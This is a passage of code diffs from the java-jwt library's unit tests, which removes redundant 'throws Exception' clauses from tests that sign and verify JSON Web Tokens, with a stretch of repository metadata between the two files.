         DecodedJWT jwt = JWT.require(Algorithm.HMAC512("secret"))
                 .build()
@@ -206,7 +206,7 @@ public void shouldAcceptECDSA512Algorithm() throws Exception {
     // Public Claims
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -217,7 +217,7 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -228,7 +228,7 @@ public void shouldGetSignature() throws Exception {
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -239,7 +239,7 @@ public void shouldGetIssuer() throws Exception {
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -250,7 +250,7 @@ public void shouldGetSubject() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -262,7 +262,7 @@ public void shouldGetArrayAudience() throws Exception {
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -274,7 +274,7 @@ public void shouldGetStringAudience() throws Exception {
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
+    public void shouldGetExpirationTime() {
         long seconds = 1477592L;
         Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
@@ -308,7 +308,7 @@ public void shouldGetNotBefore() {
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
+    public void shouldGetIssuedAt() {
         long seconds = 1477592;
         Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
@@ -325,7 +325,7 @@ public void shouldGetIssuedAt() throws Exception {
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -337,7 +337,7 @@ public void shouldGetId() throws Exception {
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -348,7 +348,7 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -359,7 +359,7 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         String token = "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleSJ9.e30.von1Vt9tq9cn5ZYdX1f4cf2EE7fUvb5BCBlKOTm9YWs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -370,7 +370,7 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetCustomClaims() throws Exception {
+    public void shouldGetCustomClaims() {
         String token = "eyJhbGciOiJIUzI1NiIsImlzQWRtaW4iOnRydWV9.eyJpc0FkbWluIjoibm9wZSJ9.YDKBAgUDbh0PkhioDcLNzdQ8c2Gdf_yS6zdEtJQS3F0";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -386,7 +386,7 @@ public void shouldGetCustomClaims() throws Exception {
     // Sign
 
     @Test
-    public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC256SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC256("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -402,7 +402,7 @@ public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC384SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC384("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -418,7 +418,7 @@ public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC512SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC512SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC512("secret"));
         assertThat(signed, is(notNullValue()));
 u}(jR  (4a3dbb65bc6d407cef89e0934ffc56fb5d017151jS  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javajS  modifiedjS  K?jS  K>j!S  K}j"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  Xt  @@ -23,6 +23,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
+import static org.junit.Assert.assertThrows;
 
 public class JWTVerifierTest {
 
@@ -34,22 +35,22 @@ public class JWTVerifierTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenInitializedWithoutAlgorithm() throws Exception {
+    public void shouldThrowWhenInitializedWithoutAlgorithm() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Algorithm cannot be null");
         JWTVerifier.init(null);
     }
 
     @Test
-    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() throws Exception {
+    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() {
         exception.expect(AlgorithmMismatchException.class);
         exception.expectMessage("The provided Algorithm doesn't match the one defined in the JWT's Header.");
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
         verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
     }
 
     @Test
-    public void shouldValidateIssuer() throws Exception {
+    public void shouldValidateIssuer() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
@@ -72,7 +73,7 @@ public void shouldValidateMultipleIssuers() {
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuer() throws Exception {
+    public void shouldThrowOnInvalidIssuer() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
@@ -83,7 +84,7 @@ public void shouldThrowOnInvalidIssuer() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNullIssuer() throws Exception {
+    public void shouldThrowOnNullIssuer() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
 
@@ -95,7 +96,7 @@ public void shouldThrowOnNullIssuer() throws Exception {
     }
 
     @Test
-    public void shouldValidateSubject() throws Exception {
+    public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("1234567890")
@@ -106,7 +107,7 @@ public void shouldValidateSubject() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidSubject() throws Exception {
+    public void shouldThrowOnInvalidSubject() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
@@ -117,7 +118,7 @@ public void shouldThrowOnInvalidSubject() throws Exception {
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceContainsAll() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceContainsAll() {
         // Token 'aud': ["Mark"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJNYXJrIn0.xWB6czYI0XObbVhLAxe55TwChWZg7zO08RxONWU2iY4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -182,7 +183,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() {
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
         DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -212,14 +213,14 @@ public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
 
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAnyOfAudience("Joe", "Jim")
                 .build()
                 .verify(tokenArr);
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() throws Exception {
+    public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -232,7 +233,7 @@ public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() throws Excep
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimIsNull() throws Exception {
+    public void shouldThrowWhenAudienceClaimIsNull() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -245,7 +246,7 @@ public void shouldThrowWhenAudienceClaimIsNull() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() throws Exception {
+    public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
 
@@ -258,7 +259,7 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() throws Exception
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReference() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAudience((String) null)
@@ -291,7 +292,7 @@ public void shouldRemoveAudienceWhenPassingNullReference() throws Exception {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience((String) null)
@@ -324,7 +325,7 @@ public void shouldRemoveAudienceWhenPassingNullReferenceWithAnyOfAudience() thro
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNull() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAudience("John")
@@ -344,7 +345,7 @@ public void shouldRemoveAudienceWhenPassingNull() throws Exception {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() throws Exception {
+    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withAnyOfAudience("John")
@@ -364,15 +365,15 @@ public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() throws Exceptio
     }
 
     @Test
-    public void shouldThrowOnNullCustomClaimName() throws Exception {
+    public void shouldThrowOnNullCustomClaimName() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("The Custom Claim's name can't be null.");
         JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim(null, "value");
     }
 
     @Test
-    public void shouldThrowWhenExpectedArrayClaimIsMissing() throws Exception {
+    public void shouldThrowWhenExpectedArrayClaimIsMissing() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
@@ -383,7 +384,7 @@ public void shouldThrowWhenExpectedArrayClaimIsMissing() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenExpectedClaimIsMissing() throws Exception {
+    public void shouldThrowWhenExpectedClaimIsMissing() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'missing' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
@@ -394,7 +395,7 @@ public void shouldThrowWhenExpectedClaimIsMissing() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -405,7 +406,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeString() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -416,7 +417,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -427,7 +428,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() throws Exception
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -439,7 +440,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() throws Exception
 
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -450,7 +451,7 @@ public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
+    public void shouldThrowOnInvalidCustomClaimValue() {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage("The Claim 'name' value doesn't match the required one.");
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
@@ -461,7 +462,7 @@ public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeString() throws Exception {
+    public void shouldValidateCustomClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidmFsdWUifQ.Jki8pvw6KGbxpMinufrgo6RDL1cu7AtNMJYVh6t-_cE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", "value")
@@ -472,7 +473,7 @@ public void shouldValidateCustomClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 123)
@@ -483,7 +484,7 @@ public void shouldValidateCustomClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjo5MjIzMzcyMDM2ODU0Nzc2MDB9.km-IwQ5IDnTZFmuJzhSgvjTzGkn_Z5X29g4nAuVC56I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 922337203685477600L)
@@ -494,7 +495,7 @@ public void shouldValidateCustomClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDouble() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", 23.45)
@@ -505,7 +506,7 @@ public void shouldValidateCustomClaimOfTypeDouble() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
+    public void shouldValidateCustomClaimOfTypeBoolean() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", true)
@@ -516,7 +517,7 @@ public void shouldValidateCustomClaimOfTypeBoolean() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomClaimOfTypeDate() throws Exception {
+    public void shouldValidateCustomClaimOfTypeDate() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -528,7 +529,7 @@ public void shouldValidateCustomClaimOfTypeDate() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", "text", "123", "true")
@@ -539,7 +540,7 @@ public void shouldValidateCustomArrayClaimOfTypeString() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1, 2, 3)
@@ -550,7 +551,7 @@ public void shouldValidateCustomArrayClaimOfTypeInteger() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbNTAwMDAwMDAwMDAxLDUwMDAwMDAwMDAwMiw1MDAwMDAwMDAwMDNdfQ.vzV7S0gbV9ZAVxChuIt4XZuSVTxMH536rFmoHzxmayM";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 500000000001L, 500000000002L, 500000000003L)
@@ -561,7 +562,7 @@ public void shouldValidateCustomArrayClaimOfTypeLong() throws Exception {
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 2L, 3L)
@@ -572,7 +573,7 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsInteger() throws
     }
 
     @Test
-    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() throws Exception {
+    public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSw1MDAwMDAwMDAwMDIsNTAwMDAwMDAwMDAzXX0.PQjb2rPPpYjM2sItZEzZcjS2YbfPCp6xksTSPjpjTQA";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withArrayClaim("name", 1L, 500000000002L, 500000000003L)
@@ -585,7 +586,7 @@ public void shouldValidateCustomArrayClaimOfTypeLongWhenValueIsIntegerAndLong()
     // Generic Delta
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddDefaultLeewayToDateClaims() throws Exception {
+    public void shouldAddDefaultLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .build();
@@ -598,7 +599,7 @@ public void shouldAddDefaultLeewayToDateClaims() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldAddCustomLeewayToDateClaims() throws Exception {
+    public void shouldAddCustomLeewayToDateClaims() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -612,7 +613,7 @@ public void shouldAddCustomLeewayToDateClaims() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultIssuedAtLeeway() throws Exception {
+    public void shouldOverrideDefaultIssuedAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -627,7 +628,7 @@ public void shouldOverrideDefaultIssuedAtLeeway() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultExpiresAtLeeway() throws Exception {
+    public void shouldOverrideDefaultExpiresAtLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -642,7 +643,7 @@ public void shouldOverrideDefaultExpiresAtLeeway() throws Exception {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldOverrideDefaultNotBeforeLeeway() throws Exception {
+    public void shouldOverrideDefaultNotBeforeLeeway() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .acceptLeeway(1234L)
@@ -656,7 +657,7 @@ public void shouldOverrideDefaultNotBeforeLeeway() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnNegativeCustomLeeway() throws Exception {
+    public void shouldThrowOnNegativeCustomLeeway() {
         exception.expect(IllegalArgumentException.class);
         exception.expectMessage("Leeway value can't be negative.");
         Algorithm algorithm = mock(Algorithm.class);
@@ -666,7 +667,7 @@ public void shouldThrowOnNegativeCustomLeeway() throws Exception {
 
     // Expires At
     @Test
-    public void shouldValidateExpiresAtWithLeeway() throws Exception {
+    public void shouldValidateExpiresAtWithLeeway() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptExpiresAt(2);
@@ -689,7 +690,7 @@ public void shouldValidateExpiresAtIfPresent() {
     }
 
     @Test
-    public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
+    public void shouldThrowOnInvalidExpiresAtIfPresent() {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
 
@@ -701,7 +702,7 @@ public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
     }
 
     @Test
